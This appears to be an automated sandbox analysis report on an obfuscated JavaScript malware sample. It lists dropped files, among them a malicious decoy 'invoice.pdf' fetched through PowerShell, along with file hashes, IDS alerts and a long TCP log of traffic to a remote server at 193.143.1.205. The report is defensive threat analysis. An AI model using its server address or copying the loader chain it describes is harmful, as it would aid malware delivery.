Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16788), with CRLF line terminators
Entropy (8bit):	4.9159534209924995
TrID:
File name:	10848104561916132198.js
File size:	20'462 bytes
MD5:	9507750dd88b9819ac32f0ba876cd6e0
SHA1:	8682c34c6671695a1f81a3dda1ba9280e307e72f
SHA256:	ea3cfd7a8be2c2f9199e99052b1a9e6765d51793e799a820b735472fec49dc12
SHA512:	c1ee93c0d3c837d97bf5440dc3c4bf781036fcedf2f7a40c68511112da4b904e2da5adf6898b2a2592b17c429f03fa0bcbf58c6cd28690fffa0d5fa27783729a
SSDEEP:	384:4igEELdT9LQLgA7jkrCGwixTLFiqFtKl6M8d7BQ5gYvutF1:FgEELVA/krCWx1iqFtKl6M8d7BQ5gYv+
TLSH:	1E9254E88981820BCDE5F1E1164A04DD0BBD83CD4A79FDCF20859598BED6474A5EB2FC
File Content Preview:	function kvout(){whzcllfpq=[1031,3079,5127,4103,2055,3072];var tjjshbr=this[bgkjzaul+muams+sfqkrj+ixrmp+kcdopsmcw+hsluv+anmfincl+hycldmboj](this[miyzgw+brbytotr+qpjhqp+sfqkrj+gpudlenu+bgkjzaul+hycldmboj][oxcidob+sfqkrj+kcdopsmcw+muams+hycldmboj+kcdopsmcw+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:28:14.463773+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-10T14:28:17.277754+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:28:13.611227989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:13.616060972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:13.616134882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:13.618896961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:13.623667955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.463685036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.463713884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.463773012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.464027882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.464041948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.464055061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.464081049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.464083910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.464093924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.464119911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.464122057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.464135885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.464148998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.464158058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.464191914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.488215923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.488249063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.488260984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.488318920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.580899000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.580914021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.580925941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.580976009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.581129074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.581156015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.581206083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.581326962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.581343889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.581357002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.581368923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.581379890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.581382036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.581407070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.581429005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.582115889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.582127094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.582138062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.582163095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.582175016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.582180977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.582221031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.582947016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.583003044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.583018064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.583039999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.583048105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.583060026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.583065033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.583097935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.583828926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.605521917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.605583906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.605593920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.605602980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.605612993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.605624914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.605644941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.605675936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.667573929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.667596102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.667649984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.697936058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.697951078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698003054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.698055983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698115110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698126078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698136091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698165894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.698189974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.698293924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698303938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698364019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.698437929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698446989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698503017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.698530912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698585033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698631048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.698636055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698863029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698898077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698909998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698920965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.698939085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.698966980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.699280024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699291945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699304104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699321985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699331999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699347019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.699361086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.699382067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.699727058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699738979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699749947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699776888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699779987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.699790001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699803114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699824095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.699851036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.699871063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699883938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.699934959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.700697899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.700710058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.700722933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.700747013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.700756073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.700767040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.700778961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.700804949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.700826883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.700838089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.700850010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.700890064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.701762915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.701775074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.701786041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.701800108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.701811075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.701812983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.701823950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.701842070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.701864004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.722816944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.722830057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.722841978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.722882032 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.722910881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.722923040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.722934961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.722960949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.722964048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.722973108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.722990990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.723020077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.784681082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.784707069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.784730911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.784743071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.784755945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.784760952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.784789085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.815530062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815553904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815565109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815574884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.815577030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815587997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815603018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.815630913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.815692902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815702915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815781116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.815789938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815800905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815813065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815856934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.815933943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815946102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815957069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815967083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.815984964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.815995932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.816157103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816169024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816180944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816190958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816211939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.816281080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.816394091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816406012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816416979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816462994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.816477060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.816478968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816488981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816515923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816526890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816539049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.816540003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816551924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.816565990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.816590071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.817226887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817238092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817249060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817262888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817275047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817276001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.817286015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817298889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817303896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.817320108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817325115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.817332029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817342997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817354918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817364931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817369938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.817379951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817393064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.817400932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.817420006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.817433119 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.818093061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818104982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818115950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818126917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818139076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818141937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.818150043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818165064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818169117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.818192005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.818228960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818240881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818250895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818264008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818275928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818278074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.818288088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818300009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.818306923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.818326950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.818346977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.819062948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819075108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819084883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819094896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819106102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819118023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819118023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.819128990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819145918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.819159031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819164991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.819169998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819180965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819196939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.819196939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819199085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819202900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819210052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.819225073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.819250107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.819272041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:28:14.820055008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.820066929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.820076942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.820087910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 14:28:14.820100069 CET	80	49706	193.143.1.205	192.168.2.8
